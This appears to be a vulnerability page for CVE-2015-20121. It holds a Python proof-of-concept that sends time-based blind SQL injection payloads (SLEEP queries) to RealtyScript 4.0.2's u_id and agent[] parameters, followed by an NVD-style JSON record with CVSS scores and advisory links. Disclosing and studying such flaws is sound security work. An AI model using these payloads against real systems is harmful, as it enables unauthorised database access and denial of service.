CVE-2015-20121

import requests import time target_url = "http://target.com/admin/users.php" payload_url = "http://target.com/admin/mailer.php" # Time-based blind SQL injection via GET parameter u_id print("[*] Testing CVE-2015-20121 - Time-based Blind SQLi") print("[*] Target: /admin/users.php?u_id=") # Payload to test vulnerability (MySQL sleep) injection_payload = "1' AND (SELECT * FROM (SELECT SLEEP(5))s)-- " params = {'u_id': injection_payload} start_time = time.time() try: response = requests.get(target_url, params=params, timeout=10) elapsed = time.time() - start_time if elapsed >= 5: print("[+] Vulnerability confirmed! Response delayed by ~5 seconds") print(f"[+] Time taken: {elapsed:.2f}s") else: print("[-] No delay detected") except requests.exceptions.Timeout: print("[+] Vulnerability confirmed! Request timed out (>=10s)") except Exception as e: print(f"[-] Error: {e}") # Payload to extract database version via POST parameter agent[] print("\n[*] Testing /admin/mailer.php via POST parameter agent[]") version_payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(3) ELSE 0 END)-- " data = {'agent[]': [version_payload], 'action': 'send'} start_time = time.time() try: response = requests.post(payload_url, data=data, timeout=10) elapsed = time.time() - start_time if elapsed >= 3: print("[+] Vulnerability confirmed in mailer.php!") print("[+] Time-based blind SQLi is exploitable") except: print("[+] Vulnerability confirmed!")

{"cve": {"id": "CVE-2015-20121", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:17:48.160", "lastModified": "2026-03-18T15:24:32.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Next Click Ventures RealtyScript 4.0.2 contains SQL injection vulnerabilities that allow unauthenticated attackers to manipulate database queries by injecting arbitrary SQL code through the GET parameter 'u_id' in /admin/users.php and the POST parameter 'agent[]' in /admin/mailer.php. Attackers can exploit time-based blind SQL injection techniques to extract sensitive database information or cause denial of service through sleep-based payloads."}, {"lang": "es", "value": "Next Click Ventures RealtyScript 4.0.2 contiene vulnerabilidades de inyección SQL que permiten a atacantes no autenticados manipular consultas de la base de datos inyectando código SQL arbitrario a través del parámetro GET 'u_id' en /admin/users.php y el parámetro POST 'agent[]' en /admin/mailer.php. Los atacantes pueden explotar técnicas de inyección SQL ciega basada en tiempo para extraer información sensible de la base de datos o causar denegación de servicio a través de payloads basados en sleep."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nextclickventures:realtyscript:4.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "237FBCF4-383B-4460-82EF-FC61A749D53B"}]}]}], "references": [{"url": "http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5270.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/38497", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/realtyscript-sql-injection-via-u-id-and-agent-parameters", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}